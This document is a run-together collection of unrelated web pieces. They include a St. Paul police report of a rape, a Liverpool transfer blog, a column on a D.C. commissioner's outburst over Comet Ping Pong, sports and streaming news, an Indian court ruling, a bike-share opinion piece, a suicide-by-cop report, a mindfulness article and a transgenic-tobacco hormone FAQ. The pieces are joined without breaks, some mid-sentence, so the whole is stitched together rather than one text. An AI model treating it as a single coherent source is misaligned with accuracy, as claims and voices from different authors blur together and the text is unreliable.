You get the idea. In those scenes, the joke is never on Doris; she remains, come what may, herself, yet open to the cultural experiences around her. And that, in an unexpected way, is the subtle message of a movie like Hello, My Name Is Doris, and the indie scene that it’s entering: we are surrounded by people like Doris, who have lived a little and learned a few things and are still active and engaged. And, as indie filmmakers and distributors are learning, they’re still going to the movies too.Police are investigating after a woman reported that a stranger assaulted and raped her after he found her sleeping in a downtown St. Paul parking ramp.
The 46-year-old woman went to the InterContinental Hotel for help about 5 a.m. April 16 and an employee called 911 for her.
She reported that she had missed curfew at Higher Ground, the homeless shelter in downtown St. Paul, and was sleeping in the sixth-floor elevator lobby at Capital City Plaza Parking Ramp, 50 E. Fourth St., that morning, according to a police report.
The woman was awakened by a stranger punching her in the face, said Sgt. Mike Ernster, a St. Paul police spokesman, on Monday. He covered her face with a sweatshirt and told her not to look at him or he would kill her. The woman fought back, but the man continued to punch her in the face, Ernster said.
The man raped the woman and again threatened her harm if she looked at him, and she heard him leaving down a stairwell, Ernster said.
The woman’s face had numerous bruises and cuts on it, and her face, hands and clothing were bloody from the beating, Ernster said. She was taken to a hospital for treatment and for a sexual assault exam for evidence to be collected.
A detailed description of the suspect was not available. Investigators are looking to see whether there is surveillance footage from the area.“OUR faith is the weapon most feared by our enemies.”
A week ago, approximately 15 minutes after the Premier League fixtures for 2015-16 were announced, my phone beeped away. A former work colleague, who is a Manchester United enthusiast, texted me the bolded line above followed by what seemed an endless supply of HAHAHAHAHAHAs.
In past discussions, I had explained to him that those words, emblazoned on banners in different continents, wonderfully summed up the support of Liverpool FC — a belief so deep, it was a danger for the opposition. His combination of capitalised laughter and emoticons was in reaction to the cloud of defeatism that had been circling for a while, but turned a much darker shade when the first seven away fixtures of the new campaign were announced. Having watched the response to the daunting start unfold on Twitter, there was not much of a defence I could message back. And while I didn’t agree with the depths of the doom, I could understand why despair tinged the air.
When you watch players throw in the towel despite still having a good fight left, a manager that needed 180 pages to note the basics of his football thinking and tinkering run out of ideas, a legend you’ve grown up with going out the door, a gifted 20-year-old desperate to scale the wall and switch allegiances, coupled with that 6-1 fudgery at the hands of Stoke (Six One. Stoke), you’re bound to have to scratch behind the couch or under the kitchen sink to find some sparkle.
Liverpool would need to try to fix things in the transfer window — often the scene for more breakage — and so there needed to be more scrounging around the house, this time for shreds of confidence: look under the carpet, above the fridge. The safe bets got sorted sharpish, but did little to shift the worry. Then the fixture computer spewed out a challenging start, and concerns were compounded. Something, somewhere needed to give. Something, somewhere needed to bring the faith back to the surface.
I suggested Liverpool should buy some belief. Scratch that, I was basically on my knees, pleading for it. Often enough, supporters are a mirror for the club. Show them uncertainty and reluctance, and you’ll get 50 shades of grey skies. A perpetual state of miserableness. If fans sense ambition and intent, they’ll throw on the belief and swim in the swagger. Those clad in scarves aren’t the only ones who need convincing; the playing staff, the backroom team and all other aspects of the organisation need evidence of advancement, to be motivated, to know that golden skies are in the blueprint.
Roberto Firmino. SURPRISE! For you, for me, and not least for the club as this move was not initially part of the plan. At the start of last season, and all through it, several scattered showers warned this would be a relatively quiet, low-key window. A few nip and tucks were expected, but not a major makeover. A certified goalscorer was the priority (and still is), with designs for a right back — an improved bid of £10.5m, which could rise to £12.5m has been submitted for Nathaniel Clyne. I had stated a seismic shift had to occur for a change in approach, and there was very little indication that would happen.
Shift in Firmino. He’s not a nip or tuck. See all the smiles everywhere? That counts as a major makeover. The owners have not been talking, but perhaps they’ve been listening?
Tuesday night may as well have been the eve of everyone’s sweet 16. The anticipation, the exhilaration. Excitement the world over; in part over a fine signing, but predominantly over Liverpool’s actions: settle on an ambitious target, begin talks, sell as much as needed, pay what it takes, and close the deal. Get the business done, decisively. Before the others have a big enough sniff. Before you’re in an arm wrestle you can’t win.
There was still some disbelief and apprehension floating around at midnight, which was again understandable given how many deals have been downed like a tequila shot in recent history. But the official announcement on Wednesday morning, at 6:58, was a Happy fucking Birthday, Merry fucking Christmas and all that cheer rolled into one. Firmino was the football ecstasy pill everyone had been waiting to pop.
@Roberto_Firmino welcome to Liverpool my friend.
Bem-vindo ao meu amigo Liverpool — Daniel Sturridge (@DanielSturridge) June 24, 2015
His signing has doggedly been advertised as separate to Raheem Sterling’s future, but the England international’s potential departure would definitely have been factored into considerations. Even if that is a prime reasoning for the alteration in tactic, it is welcome. Liverpool are on the front foot, ready to pivot, not panicking and putting the ball out of play.
Lessons are being learned. Dithering is not for a club who continuously highlight the Premier League title as its primary focus. Neither are excuses nor retreating. Liverpool cannot afford to pass sideways when those above them are relentlessly pressing forward. Perhaps this signals a realisation that the time for talking is over, especially as actions provide the most volume.
In Firmino, the club have recruited a creator of goals, a scorer of goals, and one that “smells goals” according to Brazil coach Dunga. He has enough confidence to fill Anfield a few times over, but is as shy off the field as the club’s fellow Brazilian playmaker. And like Philippe Coutinho, he complements his flair with a tirelessness. He has an appetite to tackle, to press, to intercept, to dribble, to play the final ball, to put it in the back of the net himself. He is made for Vine and is made of vigour.
The 23-year-old’s stats, flooded all over the internet, are as impressive as his willingness and ability to execute the audacious. Even more endearing though, is his constant pursuit of betterment. One such example: “I want to run more. I run an average of 12km per game, but when you’re walking, you can miss chances to score.” The comments of scouts and former managers all paint a picture of a really good player, who is committed to becoming an even better one. In Firmino’s words: “My own dissatisfaction is my biggest motivation.” Dunga, meanwhile, believes “few see the goal like he can” and given it was near invisible for the Liverpool forwards last season, that will be a celebrated quality.
TAW PLAYER SPECIAL: GERMAN FOOTBALL CORRESPONDENT RAPHAEL HONIGSTEIN ON FIRMINO
While no transfer is guaranteed to succeed, Firmino has already brought back the buzz and that is a victory of sorts in itself. It is often overlooked, but there’s plenty of worth in the ability to galvanise. Liverpool needed something, somewhere and Firmino is the right kind of it. Tell me you don’t feel a difference, and you’ll be lying.
It would not just have been the supporters, technical team and playing staff buoyed by a bold acquisition, I’d like to think Ian Ayre is feeling pretty damn smashing about it all too, as are the owners. That can be addictive and I hope they’re all in search of their next hit, because bravery and balls has to be the norm.
The same game face has to be worn when recruiting elsewhere, but most especially up front. Christian Benteke still seems to be a primary target, but Liverpool are unwilling to meet his release clause and Aston Villa refuse to soften their stance and lower their price. Carlos Bacca has also been linked along with Salomon Rondon, with the former seemingly the perfect blend of fuel and fire that is so admired by the Kop.
While the Firmino deal doesn’t put a band aid over past failures, and while it is far from the answer to all ills, it is a positive statement from Liverpool executed in an encouraging manner. The club have shown they can pitch well, close quickly and pay without asking so many questions that someone else comes in with the answer.
Minimal fuss but maximum fan appreciation, with belief and swagger back in stacks. The weapon of faith has been largely reloaded and the chamber needs to stay stocked.
Pics: PA Images
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Subscribe to TAW Player: http://www.theanfieldwrap.com/player/subscribeD.C. Official: Outdoor Seats At Pizza Place Will Mean Rapes And Murders
When a Washington neighborhood commissioner staged a nighttime surveillance of a Northwest pizza place and put the resulting video up on YouTube to prove what a threat to public safety an outdoor ping-pong table posed, the image of a ping-pong ball rolling out onto Connecticut Avenue was chilling enough.
But this week, that same commissioner, Frank Winstead, ratcheted up the scare rhetoric in a big way: At a meeting of Advisory Neighborhood Commission 3F Monday night, in front of the largest crowd in the ANC's history, Winstead accused the owner of Comet Ping Pong of seeking to turn this quiet stretch of Connecticut Avenue in Forest Hills into a haven for rape and murder.
The crowd of about 100 residents--mainly fans of the pizza place--fell into an uproar and drowned out Winstead following this exchange, which you can hear for yourself on the audio recording of the meeting:
A supporter of Comet addressed the commission, which was considering owner James Alefantis's application to extend his opening hours deeper into the evening, provide musical entertainment inside his restaurant, and add a patio for outdoor seating out front. The woman asked the commissioners why they would want to restrict Comet and other local businesses so that she has to travel 25 blocks away to find a late-night place for food and drink. "Why am I denied the privilege and the pleasure of a venue less than a block and a half away?" the resident asked.
Winstead, who has taken it upon himself to act as the guardian of clear and quiet streets in his section of Northwest Washington, replied: "Safety. James is trying to turn this into Adams Morgan, with the murders, the rapes...." At this point, the crowd's roar overwhelmed the commissioner's remarks.
But Winstead wasn't done. Twice more during a 45-minute debate on the merits (and technicalities) of allowing a restaurant located on a commercial strip well apart from any residences to serve its loyal customers deep into the night, Winstead took off on Alefantis. He accused the owner of "filling up his fat wallet." Then Winstead started yelling about Alefantis spitting on customers' food. "He's lying, cheating!" the commissioner shouted.
Commission chairman Jane Solomon kept trying to rein in her wayward colleague ("Frank, that's not helpful"), but it was rough sledding for a while.
In the Forest Hills-Tenleytown area, the idea that a restaurant might stay open late, provide entertainment for its customers and--horrors!--even let folks sit outside on a summer's eve is a shocking invasion to some residents. But for once, the District's byzantine form of neighborhood democracy--which heavily favors the tiny group of people who despise any street life, cling to the notion that they live in a suburb, and have nothing better to do than attend ANC meetings--produced a result that reflects the wishes of the great majority who choose to live in the city expressly for the busy street activity Alefantis seeks to foster.
By a 4-3 vote, the commissioners approved everything Comet Ping Pong's owners sought. The eatery, if the city's alcoholic beverage control board agrees, will now be allowed to stay open till 2 a.m. on weeknights and 3 a.m. on weekends instead of until midnight. And Comet will be allowed to sponsor musical events as well as put up outdoor seating on the sidewalk where the ping-pong table stood until Winstead asked the D.C. government to have it removed. (Ping-pong tables will remain in the restaurant's large back room.)
"I don't think I've ever seen that much support for any establishment before," says Mital Gandhi, a commissioner who led the push for more lenient rules for Comet. Gandhi says the community made its distaste for Winstead's actions and words quite clear. "The whole crowd was just booing this guy. They were all disgusted."
Under the new agreement, the ANC has given Comet the leeway it needs to serve its customers and make a profit, and has made certain that neighbors are protected by getting Comet to hire a security person to assure that those leaving the restaurant late at night are quiet. "There is a balance with everything," Gandhi says. "I'm happy we found it with Comet."
Opponents of the new rules for Comet accused the restaurant of breaking its current restrictions by hosting bands before getting city permission to do so. And commissioner Cathy Wiss--who said she supported expanding Comet's hours because her younger neighbors want to be able to eat and drink at a place that's open late--nonetheless fretted that letting Comet stay open could "disturb the peace. We have gangs of American University students that walk down the middle of my street at 2 a.m. Fridays, Saturdays, yelling, screaming, singing, and my sense is that they've been out drinking somewhere," she said.
The trials and tribulations of life in leafy upper Northwest simply never cease to amaze--imagine, college students singing on their way home late at night. Could there be another community in the nation wracked with such problems? A ping-pong table on a sidewalk, a pizzeria that wants to put up outdoor seating, and of course, all those murders and rapes that naturally follow if people are permitted to dine after midnight. Surely there must be some solution to these urban ills.
I'm thinking, you know, checkpoints or something like that.
By Marc Fisher | June 18, 2008; 7:25 AM ET
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The comments to this entry are closed.“There were many bullets, but there were more arrows—so many that it was like a cloud of grasshoppers all above and around the soldiers”
— Fire Thunder
In Episode 8, we pause the blow by blow narration of Crazy Horse’s life to focus on the larger context: the war between Lakota & Cheyenne and the United States in the mid-1860s. In this episode: things heat up with battles at Platte River Station and Red Buttes, “the yellow metal that makes the wasichus crazy”, just for fun Crazy Horse lets soldiers shoot at him, the 1866 State of the Union address misses the target by a mile, painting the Bozeman Trail red with blood, the head of a photographer rolling in a wagon, Captain Brown’s obsession with scalps, the winkte prophet, spirits could use math tutoring, making arrowheads from a frying pan, Lakota warriors honoring a soldier they killed, and after the battle… a dreadful silence, Hieronymus Bosch, and coyotes & crows. Also, General Sherman’s diplomatic reaction (“We must act with vindictive earnestness against the Sioux even to their extermination—men, women and children”), the 1868 Fort Laramie Treaty, and setting fire to the forts.
This Crazy Horse series is dedicated to James R. Weddell (“Ista To’paicagopi”), a great friend and the subject of Dakota Warrior: The Story of James R. Weddell
This episodes is sponsored by http://www.geeknationtours.com In addition to offering tours to many locations that would be of interest to fans of history, next summer they will lead a tour to the Little Bighorn Battlefield in Montana, site of the 1876 epic clash between the 7th Cavalry and the Lakota and Cheyenne forces.
Also, please show some love to my regular sponsors by shopping for supplements, special foods, clothing and exercise equipment at http://www.onnit.com/history and receive a 10% discount. And if you are in the market for backpacks, computer bags and other hemp gear, check out my favorites at http://www.dsgear.com and use the code “daniele” at checkout for a discount.
For those of you who may be interested, here is a lecture series I created about Taoist philosophy:
This episode is now only available for sale through the History on Fire storeSnapchat is the most fun way to share the moment!
Take a Snap, add a caption or fun effects, then send it to your best friends.
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Please note: Snapchatters can always capture or save your messages by taking a screenshot, using a camera, or otherwise. Be mindful of what you Snap!MASSIMO Luongo’s Asian Cup exploits won’t just have inspired Aussie youngsters, it will have his compatriots in lower leagues across the globe realising their Socceroos ambitions might be closer than they think.
While the A-League remains a popular shop window for Australian talent, there are plenty of others trying to live the dream as ‘Aussies abroad’.
Our Power Rankings might keep tabs on those on the Roo Radar, but what about those beneath it, doing the hard yards trying to forge their dreams in leagues we don’t see or read about week in, week out?
Here’s 11 Australians overseas, chosen from a variety of positions and clubs around Europe, you’ve probably never heard of, but hopefully will one day. Plus five you might have forgotten.
Cameron Burgess: Fulham, Championship
The 19-year-old, currently on loan at Ross County in Scotland, moved from Western Australia to Fulham’s academy in 2011. A versatile defender/midfielder, with a decent ball into the box, Burgess was born in Scotland and moved to Australian when he was 11, but has pledged his allegiance to the Socceroos. A former Celtic, Aberdeen and Perth club ECU Joondalop product.
Cameron Burgess, right. Source: Getty Images
Tomislav Mrcela: NK Lokomotiva, Croatia
A towering centre-back, 24, who plays in Croatia’s top league and has been living there with his family since 1996. He came through the ranks at RNK Split and although largely unheard of in Australia, his form for Hrvatski Dragovoljac in early 2014 was reported to have sparked interest amongst the Socceroos hierarchy. Despite his Croatian links, he has spoken of his desire to play for Australia.
Giancarlo Gallifuoco: Swansea, EPL
The 21-year-old centre-back is a former schoolmate of Luongo, who headed abroad and spent time in Tottenham’s youth set-up. A regular in Australian youth sides, who featured in the most recent Olyroos camp, Gallifuoco is a ball-playing centre-back who is part of a Swansea under-21s set-up that sit on top of the south conference of the under-21s Professional Development League Two.
⚽️ Brentford 2 - Swansea City 4 ⚽️ A photo posted by Giancarlo Gallifuoco (@giange94) on Feb 16, 2015 at 12:54am PST
James Meredith: Bradford, League One
Meredith, 26, has been working away in the English lower leagues for almost 10 years, with his breakthrough coming at York City, before a move to Bradford in 2012, which saw the club promoted to League One. |
-contract with Colin Kaepernick looms by the bay.
Things could change, of course, if the Eagles are unable to find a trade partner and decide to release Jackson. The 49ers, like many other teams, are monitoring the situation.
The latest "Around The League Podcast" discusses DeSean Jackson trade talks, plays running back roulette and welcomes Lance Briggs into the studio.If you’re thinking about going all-in on Dish’s Sling TV service for the ESPN streaming and completely cutting the cord, you might want to stop procrastinating – subscriptions for Sling are capped at two million. Why the cap? According to Ad Age, it’s because networks don’t want *too* many people cutting the cord and costing them money from cable providers. If the cap limits are exceeded, networks can pull their shows and content from Sling, which would potentially cripple the service.
Subscriber caps are a way for the media industry to cope with an increase in viewers shunning traditional pay-TV packages with their hundreds of channels — many never watched. Programmers like Walt Disney Co. and Time Warner can’t ignore the rise of online options, yet don’t want these cable alternatives growing too fast. Cable companies pay fees to programmers based on their subscribers. If large swaths drop pay-TV plans for Sling TV or Apple’s planned service, it would mean less money for cable operators and certain programmers alike.
The goal for these content providers and networks isn’t to encourage people to cut the cord – it’s to bring in money from people that have *already* cut the cord. They’re going after the people getting nothing from them as opposed to the people already paying their cable and satellite providers.
We don’t know how many subscribers Sling has, though last month, re/code reported that Sling had crossed the 100,000 subscriber mark on at least a trial basis. But a cap like this isn’t unique to Sling – providers also have caps of typically 10% on the most basic packages they offer, nudging customers in a direction to pay for a more expensive and expansive package, giving more money over to networks and keeping networks as viable options for advertisers.
Will the cap end up being a big deal? I’d wager that it won’t, simply because of the competition Sling will be facing this year. Apple is planning on launching a similar service this year, while Verizon is also apparently getting in on the game. If Sling reaches its cap, one of those other services could be a viable alternative – assuming they have the same appealing channel selection as Sling.
[Ad Age]The Bombay High Court Monday said a school was not a commercial venture, while coming down heavily on an institute that refused to grant admissions to students from the economically weaker section in its pre-primary classes, despite the 25 per cent quota for them under Right to Education Act.
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A bench of Chief Justice Manjula Chellur and Justice A S Sonak was hearing a writ petition filed by the Urn Education Society over the failure of the state to reimburse the school for providing admissions to students under the RTE Act, despite earlier court orders asking them to do so.
According to the society, while they had provided admissions to such children for three years, they discontinued the process from June this year as the state owed them Rs 50 lakh as reimbursements for admissions in Mini KG, junior KG and senior KG in the past three years. The government, meanwhile, threatened to de-recognise them for discontinuing admissions, leading to the society filing this petition.
The High Court has now ordered the school to carry out admissions for the 25 per cent category immediately. “Immediately open admissions. The process should be initiated from Tuesday onwards,” said the Chief Justice. The government is now supposed to provide the school with a list of students still awaiting admissions.
“You have frustrated the process because of your demand for money..It is likely that students still awaiting admissions might not be there anymore,” said the court. The matter has been kept for hearing in the next ten days.
The court questioned what was the children’s fault in all of this. “Are you begging on streets? Are you going to shut down the school due to such a non-payment? Is the government a private party which is running away? We can’t appreciate the stand taken by you. Providing education to such students is a social obligation,” said the Chief Justice.
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The petitioner questioned the government’s responsibility in this regard. “This can’t be a one-way journey. The government is defeating the statute by not paying us,” argued the lawyer of the petitioner. The court then said, “You are not a commercial venture operating to make money.”It is not only the government’s responsibility to correct residents’ behavior. It is incumbent upon all residents to take on the matter, writes Matthew Lubin.
Ever since Singapore-based dockless bike-share service oBike entered the Taipei market in April, it has faced some harsh criticism, mostly because of the perceived lack of space to park the bikes. The criticism, however, has neglected to focus on the root problem of oBike: the users.
Rather than admonish the behavior that causes the problems, the public along with politicians have been quick to reprimand the company that does nothing more than provide a service. Is it really the company’s fault that people are jerks?
The company notes on its website and app that bikes should be returned to appropriate parking spaces that do not obstruct pedestrian or vehicle traffic. It states, “The bike should be returned to a designated public bike parking area.” It even provides photos of signs indicating appropriate and inappropriate parking locations. On its Facebook page, the company reminds users to only park in designated areas and that violators would have credits deducted from their accounts.
The company made a quiet entry with only 216 bikes in Taipei though this has since expanded to more than 1,000 – still far fewer than the number of private bicycles or YouBikes in the city. Following public complaints, New Taipei City banned oBikes from parking in motorbike parking spaces, which could each accommodate two bicycles, while Taipei City is considering its regulatory options. oBike, for its part, says that it avoids deploying its bikes in high-traffic areas to reduce potential problems.
Taipei is not the only market in Taiwan for oBike; it also began operating in Taitung where there is no other public bike-share option. I tested it out in the southeastern town on a long ride along the coast. What I discovered on that ride was that the bikes are not made to be taken on long leisurely rides, but rather intended for short commutes or running errands.
The bikes can be useful in areas where there are fewer YouBike stations or where available YouBikes are more difficult to obtain, such as around Zhishan MRT station. Some of these areas don't have the space for additional YouBike docking stations, but could accommodate private or shared bicycles, especially as the bicycles take up less space than a scooter.
One aspect in which oBike easily exceeds YouBike is the app. YouBike requires an EasyCard or iPass that is registered with a phone number. This can make it difficult for tourists to use the popular bike-share program. oBike, on the other hand, only requires a credit card and deposit via the app, making it much more user-friendly (and the NT$900 [US$30] deposit is refundable at any time).
The fixed-gear bikes are heavy, almost twice the weight of a YouBike, which is already heavy but at least has three gears. Unfortunately, that also prevents riders like me from using oBike for leisure purposes.
Consider the weight of the bike when viewing pictures of oBikes being “abandoned” in a river. It takes effort to throw one of those bikes into a river—this is an intentional act to damage a rented product. The so-called abandoned bicycles may not be the result of a dissatisfied user, but could be a malicious act carried out by a non-user who doesn't like seeing bicycles take up motorbike parking spaces. There are probably people who would like to do the same to illegally-parked motorbikes if they were light enough to do so.
With all the security cameras set up around Taiwan, it shouldn't be difficult to find who is responsible for tossing the bicycles aside. It would, however, require action from city governments that so-far seem uninterested.
The complaints voiced online since oBike arrived in northern Taiwan appear to have mainly come from those who praise YouBike and want to protect it from competition. Those same voices are also unlikely to have ever used oBike or even checked out its app.
The main complaints have been that the bikes take up motorbike parking spaces or are parked in places that hinder pedestrian traffic. Here’s news for you: there are much more illegally parked motorbikes and cars in Taipei and New Taipei that hinder vehicle and pedestrian traffic. If people want to improve traffic flow, they should look to the bigger problem first.
On a daily basis, I see more illegally parked motorbikes and cars than bicycles. In my neighborhood of Zhonghe, I have only seen a few oBikes, but they have all been parked in reasonable locations that are more out of the way than the motorbikes that block sidewalks.
There is a simple fix for the poorly parked oBikes as well. Authorities in the cities can easily issue fines for the parking offenses and force users to park the bikes in appropriate locations. oBike could incorporate possible parking locations in its app as well. And to correct the behavior of the users who haphazardly park the bikes wherever they wish, oBike has the ability to track the bike in question and charge an additional fee for the offense, which would offset any fines incurred that the company would need to pay.
If users act appropriately when utilizing a service, the community wins. If people continue to show their disrespect for the community and the services offered, there will only be further complaints. And those complaints should be aimed at the people causing the problem, not the services that are offered. If those at fault are not admonished for their behavior, they will continue to cause problems and may influence more to act inappropriately as well.
The Taipei City Government has taken a step toward correcting the behavior with impounding bikes that are parked illegally as of Aug. 1, but that is not enough. It creates a double standard with bikes that aren’t registered. It also does not provide companies such as oBike with a GPS location of the bike in question, which means that it will be more difficult to locate the user who caused the offense.
It is not only the government’s responsibility to correct residents’ behavior. It is incumbent upon all residents to take on the matter.
Editor: Olivia YangSAPD: Woman tried to commit suicide by cop, fired gun while speaking with SWAT negotiator
The woman, who has not been identified, was reportedly seen walking around the area of Silvercrest Drive and West Horseshoe Bend around 1:30 a.m. on August 18, 2017, with a gun in her hand. The woman, who has not been identified, was reportedly seen walking around the area of Silvercrest Drive and West Horseshoe Bend around 1:30 a.m. on August 18, 2017, with a gun in her hand. Photo: Ken Branca Photo: Ken Branca Image 1 of / 12 Caption Close SAPD: Woman tried to commit suicide by cop, fired gun while speaking with SWAT negotiator 1 / 12 Back to Gallery
A woman fired a gun into the ground near a SWAT negotiator while trying to commit suicide by cop early Friday on the West Side, police say.
The woman, who has not been identified, was reportedly seen walking around the area of Silvercrest Drive and West Horseshoe Bend around 1:30 a.m. with a gun in her hand.
RELATED: SAPD: 2 men killed in shootout during argument at Northwest Side apartment
Police arrived to the scene and the woman allegedly told the officers she was trying to commit suicide by cop.
A SWAT team was called to the scene, and a negotiator began trying to calm the woman down and manage the situation.
RELATED: Teen driver leaving work from North Star Mall strikes, kills woman with pickup truck, police say
While speaking to the negotiator, the woman fired the gun into the ground, police said. However, the two continued to talk, and the negotiator convinced her to toss the gun to the ground, at which point she was detained.
No one was injured in the incident.
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Twitter: @calebjdownsInformation overload has become an everyday experience for anyone who works with computers, owns a smartphone or waits at a bus stop with minute-by-minute updates about arrival times.
And this information overload has been cited as a major factor in the rise of stress-related diseases. Some advocate a digital detox as the antidote to the curse of email, social media and constant communication but for many, that just isn’t practical.
Others are turning to traditional mindfulness meditation techniques as a way of managing their digital dependence without having to switch off from their everyday lives entirely. It’s seen as a way to calm the mind and help the body to cope with the overwhelming amount of data coming our way from all different directions and sources.
As long ago as June 1983 Time magazine ran a cover feature on stress as a modern anxiety. Three decades later, answers to the problem are being put forward by that same magazine. A February 2014 issue of Time featured a cover that read: The mindful revolution: The science of finding focus in a stressed-out, multitasking culture.
In 2014, Time readers, like many others, want practical solutions to their stress. We answer work emails while waiting in a supermarket queue, we pay bills while preparing dinner and we follow our favourite celebrity’s tweets while we eat it. We can begin to feel like we couldn’t escape all the stimuli even if we wanted to.
Answer your work email on the weekend often enough and you can feel like it’s expected of you to do so all the time. Once you are used to receiving a constant stream of news, you start to feel lost without it. That can cause anxiety and depression.
Managing mindfully
Mindfulness has been described as “a moment-to-moment attention to present experience with a stance of open curiosity”. It’s our ability to deliberately become more aware of the present moment and less caught up in our regrets for the past or anxiety for the future.
Mindfulness has been studied extensively in the medical domain as a potential tool in managing a number of conditions such as anxiety and help with recovery from illness.
Mindfulness is using the brain’s ability to change and became stronger when trained accordingly, an ability called neuroplasticity, which is comparable to a muscle changing as a result of physical exercise. Mindfulness Based Stress Reduction is a training programme developed by Jon-Kabat-Zinn at the University of Massachusetts Medical Center that draws on this trait and aims to complement medical treatment for chronic pain and stress related disorders.
Then there is the use of mindfulness as a business tool. Mindful leadership, for example, is often viewed as a way to help individuals and organisations to be successful while also being kind and thoughtful. The search inside yourself programme developed by Google’s Chade-Meng Tan, is an example. Tan urges people who take his course to cultivate emotional awareness as a way to handle the stresses of work. The trend has spread and mindfulness meditation has been common practice at companies across Silicon Valley.
Your daily dose of mindful
Away from Silicon Valley, there are small steps we can take to bring mindfulness to our digital lives. E-mail is a good place to start. It is believed that most people overindulge in mindless emailing as it is considered a quick and convenient way to communicate.
In a study conducted by the University of Glasgow and Modeuro Consulting, executives at the utility company London Power were asked to be more mindful about the emails they send to staff and to think twice every time they were about to hit the send button. As a result, email around the office was reduced by half during the study, leading the researchers to conclude that the company could save 11,000 working hours a year as a result.
Mindful emailing includes practices such as taking three breaths before responding to a stressful email and also considering the psychological effect that the email will have to the recipient or recipients.
Social media, which feeds our desire for constant information sharing, is another practice that, when done mindfully, can become a fruitful social interaction rather than a mindless disruption.
Mindful use of social media includes checking our intentions before uploading a feed, being authentic in our communications and choosing the time we spend on social media rather than falling in to it. That way, we give it some of our spare time rather than allowing it to creep around the fringes of our whole life, potentially disrupting us at any time.
These are all relatively small steps but rely on the user of a technology to pause for thought as they go. It’s a simple technique that many think has had significant results in a variety of contexts. We’ve been coping with our very modern malady for decades, perhaps we are finally making some progress.Will I get a transgenic hormone producing tobacco plant for donating? No, the plants that I produce through this first round of experiments won't be distributed. This is because I'm using a bacteria called "Agrobacterium" to insert genes into the plants. This bacteria is considered a plant pathogen, and it is illegal to transport plants that have been infected with Agrobacterium. I'm using Agro because it's a cheap and proven method to get genes into the tobacco plant. It's the best way to make a prototype to act as a proof of concept allowing me to pursue further funding for more in depth research and development. The methods and protocols developed to create this initial prototype will be well documented and freely available online for anyone who want's to experiment with them, and the prototype will be shown in a gallery.
Why are you using Tobacco plants? The tobacco plant has been extensively studied and proven to be a model plant for molecular "pharming" -- for producing pharmaceuticals through agricultural methods. It is very hearty and easy to grow, so in terms of this method of production being open and accessible, it's the perfect plant. It's also very receptive to agrobacterium mediated transformation, my chosen method for getting the new genes into the plant. Transgenic Tobacco plants have been successfully developed to produce useful chemicals such as an Ebola vaccine, collagen, and hemoglobin. I met a researcher who worked to develop a collagen producing transgenic tobacco plant which has already gone to market in Israel, and his advice has helped guide the project.
Is there a possibility of getting nicotine from the plants when trying to take the hormones? Once this initial prototype is developed, there are several things that need to be done to make it a viable method of producing hormones for human use. The metabolic pathways involved in producing the hormones will need to be tweaked and optimized to make it efficient. Cheap and effective methods for extraction will need to be developed to make sure they're pure and safe. And finally, cheap methods of dosing the hormones will need to be developed to ensure that they're being taken in a safe and responsible way. That being said, getting rid of the nicotine will be the simplest part, as there are strains with little to no nicotine, and nicotine production can be eliminated all together by grafting the plant onto a potato root system.
Are you going to patent the plants and sell them for profit? What's in it for you? I am an artist, and this is my artwork. I have to make money to survive, but the purpose of crowd sourcing funding rather than working for a company is to evade the need to patent and sell the product of my research for profit. My goal is to develop an accessible method of producing hormones that can be dedicated to the commons to prevent it ever being patented and monetized. This work is an experiment not only in synthetic biology and plant//human hybrids, but in speculating on what a communal pharmaceutical production system might look like. Is it possible to imagine a system in which all people have access to these tools, in which pharmaceuticals and useful chemicals can be grown cheaply. Could we have community hubs where pharmaceuticals could be grown and medical knowledge shared with those in the community? I'm not discounting the fact, that many medical decisions, diagnosis, and methods of administering treatment require years of intense study, and a deep understanding of the human body, molecular biology, etc. But I do think we can collectively imagine and work towards a system in which the cost of treatment is affordable, a system in which a trans-person could be in control of what happens to their body, and doesn't need to seek out black market hormones.
Are the hormones only for trans-people? Are you a trans person? I am not trans. I am a queer person who is interested in science, and interested in the ways science has historically, and still is trying to regulate sexuality and gender expression. We've come very far since the period from the early 50's to the mid 70's when queerness was illegal and proclaimed a psychological disorder. During this time, homosexuality, transvestism, and what was then called "psychopathia transexualis" were treated as psychoses... deviant behaviors, which could be cured or treated with a range of violent treatments from chemical castration, to electroshock and aversion therapy, to psycho-surgery. The regulation of sexuality and gender is less explicit in contemporary western society, but it is still present. My interest is in what would happen if hormones were deregulated and became accessible to queers, trans people, gender-hackers, or anyone really. That being said, sex hormones are therapeutically useful for a number of medical conditions, and a cheap method of producing them could have wider implications.
What if one year isn't enough time to produce a working prototype and the money is wasted? One year will not be enough time to produce a complete bioproduction system that makes testosterone or estrogen. The production of these hormones is a multistage process, involving multiple enzymatic transformations, meaning multiple genes will need to be integrated into the tobacco plant to code for the production of those enzymes. One year at Pelling Lab will get me at least to the first stage, involving only one enzyme and corresponding gene which performs several transformations to produce pregnenolone and 17 alpha-hydroxypregnenolone. I am simultaneously seeking grantfunding from several organizations to match the funds I raise through this crowd-funding campaign. I've learned from others who've successfully developed transgenic tobacco production systems with a similar scope that this project will take many years. Recreating an entire metabolic pathway in a plant is an incredibly complex task. This is a starting point that can help the project grow, and give me new skills to bring back to community labs.
Is the tobacco plant really the best way to create an opensource hormone production platform? The tobacco plant is promising, but there are other methods I'm evaluating simultaneuously, and hope to experiment with at Pelling Lab. I've identified several strains of bacteria that other researchers have successfully used to transform cholesterol, as well as other phytosterol substrates into testosterone with up to 85% efficiency. Currently bioreactors that would enable the cultivation of these organisms in a safe way to produce hormones are costly and difficult to maintain, making this a less than ideal method. The other concern is that with microorganisms, there is greater risk of contamination. With plants, the organism is visible, and it's immobile (unless flowering, then pollen becomes mobile). It will be important to make sure the plant is grown responsible so as to not contaminate wild species and have sex hormone plants all over the place! But there is a built in safety measure to help prevent this: these transgenic, pharmaceutical producing plants are coddled in the lab. They have no competition, and all the food, water, space, and light they could want. In the wild, because of the extra metabolic burden of producing chemicals for human use (not for their survival) they wouldn't have a chance competing with wild-type species.
You're making a half human half plant monster! How could this be safe!? GMO's get a bad rap because they are poorly regulated (if at all depending on where you are) and they are developed by many companies for selfish purposes. Companies like Monsanto who crush small farmers, sue innocent people because the wind blows pollen from field to field, and create terrifying sounding traits like terminator genes to maximize profit and control give genetic modification a bad name. The ways it has been used -- the most publicized uses of GMOs don't give credit to the incredible potential of the technology if used responsibly, and evaluated with a holistic, systems approach. I will not be doing anything in haste. It's very important to me that everything is done legally, and with ultimate respect for life.| By
Is the e-cat real II. The fading dream for free and abundant energy
During the last two years the Italian inventor Andrea Rossi has nourished the dream of cheap and abundant energy. Rossi claims nothing less than having developed a new energy producing device, based on LENR (low energy nuclear reaction) called energy catalyzer or e-cat.
